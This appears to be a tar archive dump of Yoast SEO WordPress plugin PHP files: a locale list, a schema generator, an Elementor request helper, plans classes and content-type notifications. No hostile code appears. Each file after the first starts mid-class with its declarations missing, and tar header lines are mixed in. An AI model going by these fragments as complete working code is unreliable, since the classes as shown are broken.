'fr_FR', // French (France).
'fy_NL', // Frisian.
'ga_IE', // Irish.
'gl_ES', // Galician.
'gn_PY', // Guarani.
'gu_IN', // Gujarati.
'gx_GR', // Classical Greek.
'ha_NG', // Hausa.
'he_IL', // Hebrew.
'hi_IN', // Hindi.
'hr_HR', // Croatian.
'hu_HU', // Hungarian.
'ht_HT', // Haitian Creole.
'hy_AM', // Armenian.
'id_ID', // Indonesian.
'ig_NG', // Igbo.
'is_IS', // Icelandic.
'it_IT', // Italian.
'ik_US',
'iu_CA',
'ja_JP', // Japanese.
'ja_KS', // Japanese (Kansai).
'jv_ID', // Javanese.
'ka_GE', // Georgian.
'kk_KZ', // Kazakh.
'km_KH', // Khmer.
'kn_IN', // Kannada.
'ko_KR', // Korean.
'ks_IN', // Kashmiri.
'ku_TR', // Kurdish (Kurmanji).
'ky_KG', // Kyrgyz.
'la_VA', // Latin.
'lg_UG', // Ganda.
'li_NL', // Limburgish.
'ln_CD', // Lingala.
'lo_LA', // Lao.
'lt_LT', // Lithuanian.
'lv_LV', // Latvian.
'mg_MG', // Malagasy.
'mi_NZ', // Maori.
'mk_MK', // Macedonian.
'ml_IN', // Malayalam.
'mn_MN', // Mongolian.
'mr_IN', // Marathi.
'ms_MY', // Malay.
'mt_MT', // Maltese.
'my_MM', // Burmese.
'nb_NO', // Norwegian (bokmal).
'nd_ZW', // Ndebele.
'ne_NP', // Nepali.
'nl_BE', // Dutch (Belgie).
'nl_NL', // Dutch.
'nn_NO', // Norwegian (nynorsk).
'nr_ZA', // Southern Ndebele.
'ns_ZA', // Northern Sotho.
'ny_MW', // Chewa.
'om_ET', // Oromo.
'or_IN', // Oriya.
'pa_IN', // Punjabi.
'pl_PL', // Polish.
'ps_AF', // Pashto.
'pt_BR', // Portuguese (Brazil).
'pt_PT', // Portuguese (Portugal).
'qc_GT', // Quiché.
'qu_PE', // Quechua.
'qr_GR',
'qz_MM', // Burmese (Zawgyi).
'rm_CH', // Romansh.
'ro_RO', // Romanian.
'ru_RU', // Russian.
'rw_RW', // Kinyarwanda.
'sa_IN', // Sanskrit.
'sc_IT', // Sardinian.
'se_NO', // Northern Sami.
'si_LK', // Sinhala.
'su_ID', // Sundanese.
'sk_SK', // Slovak.
'sl_SI', // Slovenian.
'sn_ZW', // Shona.
'so_SO', // Somali.
'sq_AL', // Albanian.
'sr_RS', // Serbian.
'ss_SZ', // Swazi.
'st_ZA', // Southern Sotho.
'sv_SE', // Swedish.
'sw_KE', // Swahili.
'sy_SY', // Syriac.
'sz_PL', // Silesian.
'ta_IN', // Tamil.
'te_IN', // Telugu.
'tg_TJ', // Tajik.
'th_TH', // Thai.
'tk_TM', // Turkmen.
'tl_PH', // Filipino.
'tl_ST', // Klingon.
'tn_BW', // Tswana.
'tr_TR', // Turkish.
'ts_ZA', // Tsonga.
'tt_RU', // Tatar.
'tz_MA', // Tamazight.
'uk_UA', // Ukrainian.
'ur_PK', // Urdu.
'uz_UZ', // Uzbek.
've_ZA', // Venda.
'vi_VN', // Vietnamese.
'wo_SN', // Wolof.
'xh_ZA', // Xhosa.
'yi_DE', // Yiddish.
'yo_NG', // Yoruba.
'zh_CN', // Simplified Chinese (China).
'zh_HK', // Traditional Chinese (Hong Kong).
'zh_TW', // Traditional Chinese (Taiwan).
'zu_ZA', // Zulu.
'zz_TR', // Zazaki.
];
// Check to see if the locale is a valid FB one, if not, use en_US as a fallback.
if ( \in_array( $locale, $fb_valid_fb_locales, true ) ) {
return $locale;
}
$locale = \strtolower( \substr( $locale, 0, 2 ) ) . '_' . \strtoupper( \substr( $locale, 0, 2 ) );
if ( ! \in_array( $locale, $fb_valid_fb_locales, true ) ) {
return 'en_US';
}
return $locale;
}
}
generators/schema-generator.php 0000644 00000032631 15207625763 0012674 0 ustar 00 helpers = $helpers;
$this->schema_replace_vars_helper = $schema_replace_vars_helper;
}
/**
* Returns a Schema graph array.
*
* @param Meta_Tags_Context $context The meta tags context.
*
* @return array The graph.
*/
public function generate( Meta_Tags_Context $context ) {
$pieces = $this->get_graph_pieces( $context );
$this->schema_replace_vars_helper->register_replace_vars( $context );
foreach ( \array_keys( $context->blocks ) as $block_type ) {
/**
* Filter: 'wpseo_pre_schema_block_type_' - Allows hooking things to change graph output based on the blocks on the page.
*
* @param WP_Block_Parser_Block[] $blocks All the blocks of this block type.
* @param Meta_Tags_Context $context A value object with context variables.
*/
\do_action( 'wpseo_pre_schema_block_type_' . $block_type, $context->blocks[ $block_type ], $context );
}
// Do a loop before everything else to inject the context and helpers.
foreach ( $pieces as $piece ) {
if ( \is_a( $piece, Abstract_Schema_Piece::class ) ) {
$piece->context = $context;
$piece->helpers = $this->helpers;
}
}
$pieces_to_generate = $this->filter_graph_pieces_to_generate( $pieces );
$graph = $this->generate_graph( $pieces_to_generate, $context );
$graph = $this->add_schema_blocks_graph_pieces( $graph, $context );
$graph = $this->finalize_graph( $graph, $context );
return [
'@context' => 'https://schema.org',
'@graph' => $graph,
];
}
/**
* Filters out any graph pieces that should not be generated.
* (Using the `wpseo_schema_needs_` series of filters).
*
* @param array $graph_pieces The current list of graph pieces that we want to generate.
*
* @return array The graph pieces to generate.
*/
protected function filter_graph_pieces_to_generate( $graph_pieces ) {
$pieces_to_generate = [];
foreach ( $graph_pieces as $piece ) {
$identifier = \strtolower( \str_replace( 'Yoast\WP\SEO\Generators\Schema\\', '', \get_class( $piece ) ) );
if ( isset( $piece->identifier ) ) {
$identifier = $piece->identifier;
}
/**
* Filter: 'wpseo_schema_needs_' - Allows changing which graph pieces we output.
*
* @param bool $is_needed Whether or not to show a graph piece.
*/
$is_needed = \apply_filters( 'wpseo_schema_needs_' . $identifier, $piece->is_needed() );
if ( ! $is_needed ) {
continue;
}
$pieces_to_generate[ $identifier ] = $piece;
}
return $pieces_to_generate;
}
/**
* Generates the schema graph.
*
* @param array $graph_piece_generators The schema graph pieces to generate.
* @param Meta_Tags_Context $context The meta tags context to use.
*
* @return array The generated schema graph.
*/
protected function generate_graph( $graph_piece_generators, $context ) {
$graph = [];
foreach ( $graph_piece_generators as $identifier => $graph_piece_generator ) {
$graph_pieces = $graph_piece_generator->generate();
// If only a single graph piece was returned.
if ( $graph_pieces !== false && \array_key_exists( '@type', $graph_pieces ) ) {
$graph_pieces = [ $graph_pieces ];
}
if ( ! \is_array( $graph_pieces ) ) {
continue;
}
foreach ( $graph_pieces as $graph_piece ) {
/**
* Filter: 'wpseo_schema_' - Allows changing graph piece output.
* This filter can be called with either an identifier or a block type (see `add_schema_blocks_graph_pieces()`).
*
* @param array $graph_piece The graph piece to filter.
* @param Meta_Tags_Context $context A value object with context variables.
* @param Abstract_Schema_Piece $graph_piece_generator A value object with context variables.
* @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables.
*/
$graph_piece = \apply_filters( 'wpseo_schema_' . $identifier, $graph_piece, $context, $graph_piece_generator, $graph_piece_generators );
$graph_piece = $this->type_filter( $graph_piece, $identifier, $context, $graph_piece_generator, $graph_piece_generators );
$graph_piece = $this->validate_type( $graph_piece );
if ( \is_array( $graph_piece ) ) {
$graph[] = $graph_piece;
}
}
}
/**
* Filter: 'wpseo_schema_graph' - Allows changing graph output.
*
* @param array $graph The graph to filter.
* @param Meta_Tags_Context $context A value object with context variables.
*/
$graph = \apply_filters( 'wpseo_schema_graph', $graph, $context );
return $graph;
}
/**
* Adds schema graph pieces from Gutenberg blocks on the current page to
* the given schema graph.
*
* Think of blocks like the Yoast FAQ block or the How To block.
*
* @param array $graph The current schema graph.
* @param Meta_Tags_Context $context The meta tags context.
*
* @return array The graph with the schema blocks graph pieces added.
*/
protected function add_schema_blocks_graph_pieces( $graph, $context ) {
foreach ( $context->blocks as $block_type => $blocks ) {
foreach ( $blocks as $block ) {
$block_type = \strtolower( $block['blockName'] );
/**
* Filter: 'wpseo_schema_block_'.
* This filter is documented in the `generate_graph()` function in this class.
*/
$graph = \apply_filters( 'wpseo_schema_block_' . $block_type, $graph, $block, $context );
if ( isset( $block['attrs']['yoast-schema'] ) ) {
$graph[] = $this->schema_replace_vars_helper->replace( $block['attrs']['yoast-schema'], $context->presentation );
}
}
}
return $graph;
}
/**
* Finalizes the schema graph after all filtering is done.
*
* @param array $graph The current schema graph.
* @param Meta_Tags_Context $context The meta tags context.
*
* @return array The schema graph.
*/
protected function finalize_graph( $graph, $context ) {
$graph = $this->remove_empty_breadcrumb( $graph, $context );
return $graph;
}
/**
* Removes the breadcrumb schema if empty.
*
* @param array $graph The current schema graph.
* @param Meta_Tags_Context $context The meta tags context.
*
* @return array The schema graph with empty breadcrumbs taken out.
*/
protected function remove_empty_breadcrumb( $graph, $context ) {
if ( $this->helpers->current_page->is_home_static_page() || $this->helpers->current_page->is_home_posts_page() ) {
return $graph;
}
// Remove the breadcrumb piece, if it's empty.
$index_to_remove = 0;
foreach ( $graph as $key => $piece ) {
if ( \in_array( 'BreadcrumbList', $this->get_type_from_piece( $piece ), true ) ) {
if ( isset( $piece['itemListElement'] ) && \is_array( $piece['itemListElement'] ) && \count( $piece['itemListElement'] ) === 1 ) {
$index_to_remove = $key;
break;
}
}
}
// If the breadcrumb piece has been removed, we should remove its reference from the WebPage node.
if ( $index_to_remove !== 0 ) {
\array_splice( $graph, $index_to_remove, 1 );
// Get the type of the WebPage node.
$webpage_types = \is_array( $context->schema_page_type ) ? $context->schema_page_type : [ $context->schema_page_type ];
foreach ( $graph as $key => $piece ) {
if ( ! empty( \array_intersect( $webpage_types, $this->get_type_from_piece( $piece ) ) ) && isset( $piece['breadcrumb'] ) ) {
unset( $piece['breadcrumb'] );
$graph[ $key ] = $piece;
}
}
}
return $graph;
}
/**
* Adapts the WebPage graph piece for password-protected posts.
*
* It should only have certain whitelisted properties.
* The type should always be WebPage.
*
* @param array $graph_piece The WebPage graph piece that should be adapted for password-protected posts.
*
* @return array The WebPage graph piece that has been adapted for password-protected posts.
*/
public function protected_webpage_schema( $graph_piece ) {
$properties_to_show = \array_flip(
[
'@type',
'@id',
'url',
'name',
'isPartOf',
'inLanguage',
'datePublished',
'dateModified',
'breadcrumb',
],
);
$graph_piece = \array_intersect_key( $graph_piece, $properties_to_show );
$graph_piece['@type'] = 'WebPage';
return $graph_piece;
}
/**
* Gets all the graph pieces we need.
*
* @param Meta_Tags_Context $context The meta tags context.
*
* @return Abstract_Schema_Piece[] A filtered array of graph pieces.
*/
protected function get_graph_pieces( $context ) {
if ( $context->indexable->object_type === 'post' && \post_password_required( $context->post ) ) {
$schema_pieces = [
new Schema\WebPage(),
new Schema\Website(),
new Schema\Organization(),
];
\add_filter( 'wpseo_schema_webpage', [ $this, 'protected_webpage_schema' ], 1 );
}
else {
$schema_pieces = [
new Schema\Article(),
new Schema\WebPage(),
new Schema\Main_Image(),
new Schema\Breadcrumb(),
new Schema\Website(),
new Schema\Organization(),
new Schema\Person(),
new Schema\Author(),
new Schema\FAQ(),
new Schema\HowTo(),
];
}
/**
* Filter: 'wpseo_schema_graph_pieces' - Allows adding pieces to the graph.
*
* @param array $pieces The schema pieces.
* @param Meta_Tags_Context $context An object with context variables.
*/
return \apply_filters( 'wpseo_schema_graph_pieces', $schema_pieces, $context );
}
/**
* Allows filtering the graph piece by its schema type.
*
* Note: We removed the Abstract_Schema_Piece type-hint from the $graph_piece_generator argument, because
* it caused conflicts with old code, Yoast SEO Video specifically.
*
* @param array $graph_piece The graph piece we're filtering.
* @param string $identifier The identifier of the graph piece that is being filtered.
* @param Meta_Tags_Context $context The meta tags context.
* @param Abstract_Schema_Piece $graph_piece_generator A value object with context variables.
* @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables.
*
* @return array The filtered graph piece.
*/
private function type_filter( $graph_piece, $identifier, Meta_Tags_Context $context, $graph_piece_generator, array $graph_piece_generators ) {
$types = $this->get_type_from_piece( $graph_piece );
foreach ( $types as $type ) {
$type = \strtolower( $type );
// Prevent running the same filter twice. This makes sure we run f/i. for 'author' and for 'person'.
if ( $type && $type !== $identifier ) {
/**
* Filter: 'wpseo_schema_' - Allows changing graph piece output by @type.
*
* @param array $graph_piece The graph piece to filter.
* @param Meta_Tags_Context $context A value object with context variables.
* @param Abstract_Schema_Piece $graph_piece_generator A value object with context variables.
* @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables.
*/
$graph_piece = \apply_filters( 'wpseo_schema_' . $type, $graph_piece, $context, $graph_piece_generator, $graph_piece_generators );
}
}
return $graph_piece;
}
/**
* Retrieves the type from a graph piece.
*
* @param array $piece The graph piece.
*
* @return array An array of the piece's types.
*/
private function get_type_from_piece( $piece ) {
if ( isset( $piece['@type'] ) ) {
if ( \is_array( $piece['@type'] ) ) {
// Return as-is, but remove unusable values, like sub-arrays, objects, null.
return \array_filter( $piece['@type'], 'is_string' );
}
return [ $piece['@type'] ];
}
return [];
}
/**
* Validates a graph piece's type.
*
* When the type is an array:
* - Ensure the values are unique.
* - Only 1 value? Use that value without the array wrapping.
*
* @param array $piece The graph piece.
*
* @return array The graph piece.
*/
private function validate_type( $piece ) {
if ( ! isset( $piece['@type'] ) ) {
// No type to validate.
return $piece;
}
// If it is not an array, we can return immediately.
if ( ! \is_array( $piece['@type'] ) ) {
return $piece;
}
/*
* Ensure the types are unique.
* Use array_values to reset the indices (e.g. no 0, 2 because 1 was a duplicate).
*/
$piece['@type'] = \array_values( \array_unique( $piece['@type'] ) );
// Use the first value if there is only 1 type.
if ( \count( $piece['@type'] ) === 1 ) {
$piece['@type'] = \reset( $piece['@type'] );
}
return $piece;
}
}
elementor/infrastructure/request-post.php 0000644 00000011161 15207625764 0015020 0 ustar 00 get_post_id() );
}
/**
* Retrieves the post ID, applicable to the current request.
*
* @return int|null The post ID.
*/
public function get_post_id(): ?int {
switch ( $this->get_server_request_method() ) {
case 'GET':
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( isset( $_GET['post'] ) && \is_numeric( $_GET['post'] ) ) {
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Recommended -- Reason: No sanitization needed because we cast to an integer,We are not processing form information.
return (int) \wp_unslash( $_GET['post'] );
}
break;
case 'POST':
// Only allow POST requests when doing AJAX.
if ( ! \wp_doing_ajax() ) {
break;
}
switch ( $this->get_post_action() ) {
// Our Yoast SEO form submission, it should include `post_id`.
case 'wpseo_elementor_save':
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
if ( isset( $_POST['post_id'] ) && \is_numeric( $_POST['post_id'] ) ) {
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: No sanitization needed because we cast to an integer,We are not processing form information.
return (int) \wp_unslash( $_POST['post_id'] );
}
break;
// Elementor editor AJAX request.
case 'elementor_ajax':
return $this->get_document_id();
}
break;
}
return null;
}
/**
* Returns the server request method.
*
* @return string|null The server request method, in upper case.
*/
private function get_server_request_method(): ?string {
if ( ! isset( $_SERVER['REQUEST_METHOD'] ) ) {
return null;
}
if ( ! \is_string( $_SERVER['REQUEST_METHOD'] ) ) {
return null;
}
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing it later.
return \strtoupper( \wp_unslash( $_SERVER['REQUEST_METHOD'] ) );
}
/**
* Retrieves the action from the POST request.
*
* @return string|null The action or null if not found.
*/
private function get_post_action(): ?string {
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing.
return (string) \wp_unslash( $_POST['action'] );
}
return null;
}
/**
* Retrieves the document ID from the POST request.
*
* Note: this is specific to Elementor' `elementor_ajax` action. And then the `get_document_config` internal action.
* Currently, you can see this in play when:
* - showing the Site Settings in the Elementor editor
* - going to another Recent post/page in the Elementor editor V2
*
* @return int|null The document ID or null if not found.
*/
private function get_document_id(): ?int {
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
if ( ! ( isset( $_POST['actions'] ) && \is_string( $_POST['actions'] ) ) ) {
return null;
}
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: No sanitization needed because we cast to an integer (after JSON decode and type/exist checks),We are not processing form information.
$actions = \json_decode( \wp_unslash( $_POST['actions'] ), true );
if ( ! \is_array( $actions ) ) {
return null;
}
// Elementor sends everything in a `document-{ID}` format.
$action = \array_shift( $actions );
if ( $action === null ) {
return null;
}
// There are multiple action types. We only care about the "get_document_config" one.
if ( ! ( isset( $action['action'] ) && $action['action'] === 'get_document_config' ) ) {
return null;
}
// Return the ID from the data, if it is set and numeric.
if ( isset( $action['data']['id'] ) && \is_numeric( $action['data']['id'] ) ) {
return (int) $action['data']['id'];
}
return null;
}
}
plans/domain/add-ons/premium.php 0000644 00000001562 15207625764 0012666 0 ustar 00
*/
private $add_ons;
/**
* Holds the WPSEO_Addon_Manager.
*
* @var WPSEO_Addon_Manager
*/
private $addon_manager;
/**
* Constructs the instance.
*
* @param WPSEO_Addon_Manager $addon_manager The WPSEO_Addon_Manager.
* @param Add_On_Interface ...$add_ons All add-ons.
*/
public function __construct( WPSEO_Addon_Manager $addon_manager, Add_On_Interface ...$add_ons ) {
$this->addon_manager = $addon_manager;
$this->add_ons = $add_ons;
}
/**
* Returns all the add-ons.
*
* @return array All the add-ons.
*/
public function get(): array {
return $this->add_ons;
}
/**
* Returns the data for the add-ons in an array format.
*
* @return array> The add-ons in an array format.
*/
public function to_array(): array {
$result = [];
$active_addons = $this->addon_manager->has_active_addons();
foreach ( $this->add_ons as $add_on ) {
$result[ $add_on->get_id() ] = [
'id' => $add_on->get_id(),
'isActive' => $add_on->is_active(),
'hasLicense' => $active_addons && $add_on->has_license(),
'ctb' => [
'action' => $add_on->get_ctb_action(),
'id' => $add_on->get_ctb_id(),
],
];
}
return $result;
}
}
plans/application/duplicate-post-manager.php 0000644 00000002415 15207625765 0015263 0 ustar 00 The list of params.
*/
public function get_params() {
return [
'isInstalled' => $this->is_installed(),
'isActivated' => $this->is_activated(),
'installationUrl' => \html_entity_decode( WPSEO_Admin_Utils::get_install_url( self::PLUGIN_FILE ) ),
'activationUrl' => \html_entity_decode( WPSEO_Admin_Utils::get_activation_url( self::PLUGIN_FILE ) ),
];
}
}
plans/infrastructure/add-ons/managed-add-on.php 0000644 00000002676 15207625765 0015565 0 ustar 00 addon_manager = $addon_manager;
}
/**
* Returns whether the add-on is installed and activated.
*
* @return bool
*/
public function is_active(): bool {
return $this->addon_manager->is_installed( static::SLUG );
}
/**
* Returns whether the add-on has an valid license.
*
* @return bool
*/
public function has_license(): bool {
return $this->addon_manager->has_valid_subscription( static::SLUG );
}
}
plans/user-interface/upgrade-sidebar-menu-integration.php 0000644 00000011332 15207625765 0017646 0 ustar 00 woocommerce_conditional = $woocommerce_conditional;
$this->shortlinker = $shortlinker;
$this->product_helper = $product_helper;
$this->current_page_helper = $current_page_helper;
$this->promotion_manager = $promotion_manager;
$this->addon_manager = $addon_manager;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
// Add page with PHP_INT_MAX - 1 to allow other items (like Brand Insights) to be positioned after.
\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ], ( \PHP_INT_MAX - 1 ) );
\add_filter( 'wpseo_network_submenu_pages', [ $this, 'add_page' ], ( \PHP_INT_MAX - 1 ) );
\add_action( 'admin_init', [ $this, 'do_redirect' ], 1 );
}
/**
* Adds the page to the (currently) last position in the array.
*
* @param array>> $pages The pages.
*
* @return array>> The pages.
*/
public function add_page( $pages ) {
// Don't show the Upgrade button if Yoast SEO WooCommerce addon is active.
if ( $this->addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ) {
return $pages;
}
// Don't show the Upgrade button if Premium is active without the WooCommerce plugin.
if ( $this->product_helper->is_premium() && ! $this->woocommerce_conditional->is_met() ) {
return $pages;
}
$button_content = \__( 'Upgrade', 'wordpress-seo' );
if ( $this->promotion_manager->is( 'black-friday-promotion' ) ) {
$button_content = ( $this->product_helper->is_premium() ) ? \__( 'Get 30% off', 'wordpress-seo' ) : \__( '30% off - BF Sale', 'wordpress-seo' );
}
$pages[] = [
General_Page_Integration::PAGE,
'',
'' . $button_content . ' ',
'wpseo_manage_options',
self::PAGE,
static function () {
echo 'redirecting...';
},
];
return $pages;
}
/**
* Redirects to the yoast.com.
*
* @return void
*/
public function do_redirect(): void {
if ( $this->current_page_helper->get_current_yoast_seo_page() !== self::PAGE ) {
return;
}
$link = $this->shortlinker->build_shortlink( 'https://yoa.st/wordpress-menu-upgrade-premium' );
if ( $this->woocommerce_conditional->is_met() ) {
$link = $this->shortlinker->build_shortlink( 'https://yoa.st/wordpress-menu-upgrade-woocommerce' );
}
\wp_redirect( $link );//phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect -- Safe redirect is used here.
exit();
}
}
plans/user-interface/plans-page-integration.php 0000644 00000013234 15207625765 0015700 0 ustar 00 asset_manager = $asset_manager;
$this->add_ons_collector = $add_ons_collector;
$this->current_page_helper = $current_page_helper;
$this->short_link_helper = $short_link_helper;
$this->admin_conditional = $admin_conditional;
$this->promotion_manager = $promotion_manager;
$this->duplicate_post_manager = $duplicate_post_manager;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
// Add page with priority 7 to add it above the workouts.
\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ], 7 );
\add_filter( 'wpseo_network_submenu_pages', [ $this, 'add_page' ], 7 );
// Are we on our page?
if ( $this->admin_conditional->is_met() && $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
}
}
/**
* Adds the page to the (currently) last position in the array.
*
* @param array>> $pages The pages.
*
* @return array>> The pages.
*/
public function add_page( $pages ) {
$pages[] = [
General_Page_Integration::PAGE,
'',
\__( 'Plans', 'wordpress-seo' ),
'wpseo_manage_options',
self::PAGE,
[ $this, 'display_page' ],
];
return $pages;
}
/**
* Displays the page.
*
* @return void
*/
public function display_page() {
echo '';
}
/**
* Enqueues the assets.
*
* @return void
*/
public function enqueue_assets() {
// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
$this->asset_manager->enqueue_script( self::ASSETS_NAME );
$this->asset_manager->enqueue_style( self::ASSETS_NAME );
$this->asset_manager->localize_script( self::ASSETS_NAME, 'wpseoScriptData', $this->get_script_data() );
}
/**
* Creates the script data.
*
* @return array>> The script data.
*/
private function get_script_data(): array {
return [
'addOns' => $this->add_ons_collector->to_array(),
'linkParams' => $this->short_link_helper->get_query_params(),
'preferences' => [
'isRtl' => \is_rtl(),
],
'currentPromotions' => $this->promotion_manager->get_current_promotions(),
'duplicatePost' => $this->duplicate_post_manager->get_params(),
'userCan' => [
'installPlugin' => \current_user_can( 'install_plugins' ),
'activatePlugin' => \current_user_can( 'activate_plugins' ),
],
];
}
/**
* Removes all current WP notices.
*
* @return void
*/
public function remove_notices() {
\remove_all_actions( 'admin_notices' );
\remove_all_actions( 'user_admin_notices' );
\remove_all_actions( 'network_admin_notices' );
\remove_all_actions( 'all_admin_notices' );
}
}
content-type-visibility/application/content-type-visibility-watcher-actions.php 0000644 00000013751 15207625765 0024333 0 ustar 00 options = $options;
$this->notification_center = $notification_center;
$this->content_type_dismiss_notifications = $content_type_dismiss_notifications;
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return array
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Initializes the integration.
*
* Register actions that are used in the post types and taxonomies indexable watcher.
*
* @return void
*/
public function register_hooks() {
// Used in Idexable_Post_Type_Change_Watcher class.
\add_action( 'new_public_post_type_notifications', [ $this, 'new_post_type' ], 10, 1 );
\add_action( 'clean_new_public_post_type_notifications', [ $this, 'clean_new_public_post_type' ], 10, 1 );
// Used in Idexable_Taxonomy_Change_Watcher class.
\add_action( 'new_public_taxonomy_notifications', [ $this, 'new_taxonomy' ], 10, 1 );
\add_action( 'clean_new_public_taxonomy_notifications', [ $this, 'clean_new_public_taxonomy' ], 10, 1 );
}
/**
* Update db and tigger notification when a new post type is registered.
*
* @param array $newly_made_public_post_types The newly made public post types.
* @return void
*/
public function new_post_type( $newly_made_public_post_types ) {
$this->options->set( 'new_post_types', $newly_made_public_post_types );
$this->options->set( 'show_new_content_type_notification', true );
$this->maybe_add_notification();
}
/**
* Update db when a post type is made removed.
*
* @param array $newly_made_non_public_post_types The newly made non public post types.
* @return void
*/
public function clean_new_public_post_type( $newly_made_non_public_post_types ) {
// See if post types that needs review were removed and update option.
$needs_review = $this->options->get( 'new_post_types', [] );
$new_needs_review = \array_diff( $needs_review, $newly_made_non_public_post_types );
if ( \count( $new_needs_review ) !== \count( $needs_review ) ) {
$this->options->set( 'new_post_types', $new_needs_review );
$this->content_type_dismiss_notifications->maybe_dismiss_notifications( [ 'new_post_types' => $new_needs_review ] );
}
}
/**
* Update db and tigger notification when a new taxonomy is registered.
*
* @param array $newly_made_public_taxonomies The newly made public post types.
* @return void
*/
public function new_taxonomy( $newly_made_public_taxonomies ) {
$this->options->set( 'new_taxonomies', $newly_made_public_taxonomies );
$this->options->set( 'show_new_content_type_notification', true );
$this->maybe_add_notification();
}
/**
* Update db when a post type is made removed.
*
* @param array $newly_made_non_public_taxonomies The newly made non public post types.
* @return void
*/
public function clean_new_public_taxonomy( $newly_made_non_public_taxonomies ) {
// See if post types that needs review were removed and update option.
$needs_review = $this->options->get( 'new_taxonomies', [] );
$new_needs_review = \array_diff( $needs_review, $newly_made_non_public_taxonomies );
if ( \count( $new_needs_review ) !== \count( $needs_review ) ) {
$this->options->set( 'new_taxonomies', $new_needs_review );
$this->content_type_dismiss_notifications->maybe_dismiss_notifications( [ 'new_taxonomies' => $new_needs_review ] );
}
}
/**
* Decides if a notification should be added in the notification center.
*
* @return void
*/
public function maybe_add_notification() {
$notification = $this->notification_center->get_notification_by_id( 'content-types-made-public' );
if ( $notification === null ) {
$this->add_notification();
}
}
/**
* Adds a notification to be shown on the next page request since posts are updated in an ajax request.
*
* @return void
*/
private function add_notification() {
$message = \sprintf(
/* translators: 1: Opening tag of the link to the Search appearance settings page, 2: Link closing tag. */
\esc_html__( 'You\'ve added a new type of content. We recommend that you review the corresponding %1$sSearch appearance settings%2$s.', 'wordpress-seo' ),
'',
'',
);
$notification = new Yoast_Notification(
$message,
[
'type' => Yoast_Notification::WARNING,
'id' => 'content-types-made-public',
'capabilities' => 'wpseo_manage_options',
'priority' => 0.8,
],
);
$this->notification_center->add_notification( $notification );
}
}
content-type-visibility/application/content-type-visibility-dismiss-notifications.php 0000644 00000010522 15207625766 0025554 0 ustar 00 options = $options;
}
/**
* Removes New badge from a post type in the Settings, remove notifications if needed.
*
* @param string $post_type_name The post type name from the request.
* @return array The response.
*/
public function post_type_dismiss( $post_type_name ) {
$success = true;
$message = \__( 'Post type is not new.', 'wordpress-seo' );
$post_types_needs_review = $this->options->get( 'new_post_types', [] );
if ( $post_types_needs_review && \in_array( $post_type_name, $post_types_needs_review, true ) ) {
$new_needs_review = \array_diff( $post_types_needs_review, [ $post_type_name ] );
$success = $this->options->set( 'new_post_types', $new_needs_review );
$message = ( $success ) ? \__( 'Post type is no longer new.', 'wordpress-seo' ) : \__( 'Error: Post type was not removed from new_post_types list.', 'wordpress-seo' );
if ( $success ) {
$this->maybe_dismiss_notifications( [ 'new_post_types' => $new_needs_review ] );
}
}
$status = ( $success ) ? 200 : 400;
return [
'message' => $message,
'success' => $success,
'status' => $status,
];
}
/**
* Removes New badge from a taxonomy in the Settings, remove notifications if needed.
*
* @param string $taxonomy_name The taxonomy name from the request.
* @return array The response.
*/
public function taxonomy_dismiss( $taxonomy_name ) {
$success = true;
$message = \__( 'Taxonomy is not new.', 'wordpress-seo' );
$taxonomies_needs_review = $this->options->get( 'new_taxonomies', [] );
if ( \in_array( $taxonomy_name, $taxonomies_needs_review, true ) ) {
$new_needs_review = \array_diff( $taxonomies_needs_review, [ $taxonomy_name ] );
$success = $this->options->set( 'new_taxonomies', $new_needs_review );
$message = ( $success ) ? \__( 'Taxonomy is no longer new.', 'wordpress-seo' ) : \__( 'Error: Taxonomy was not removed from new_taxonomies list.', 'wordpress-seo' );
if ( $success ) {
$this->maybe_dismiss_notifications( [ 'new_taxonomies' => $new_needs_review ] );
}
}
$status = ( $success ) ? 200 : 400;
return [
'message' => $message,
'success' => $success,
'status' => $status,
];
}
/**
* Checks if there are new content types or taxonomies.
*
* @param array $new_content_types The new content types.
* @return void
*/
public function maybe_dismiss_notifications( $new_content_types = [] ) {
$post_types_needs_review = ( \array_key_exists( 'new_post_types', $new_content_types ) ) ? $new_content_types['new_post_types'] : $this->options->get( 'new_post_types', [] );
$taxonomies_needs_review = ( \array_key_exists( 'new_taxonomies', $new_content_types ) ) ? $new_content_types['new_taxonomies'] : $this->options->get( 'new_taxonomies', [] );
if ( $post_types_needs_review || $taxonomies_needs_review ) {
return;
}
$this->dismiss_notifications();
}
/**
* Dismisses the notification in the notification center when there are no more new content types.
*
* @return bool
*/
public function dismiss_notifications() {
$notification_center = Yoast_Notification_Center::get();
$notification_center->remove_notification_by_id( 'content-types-made-public' );
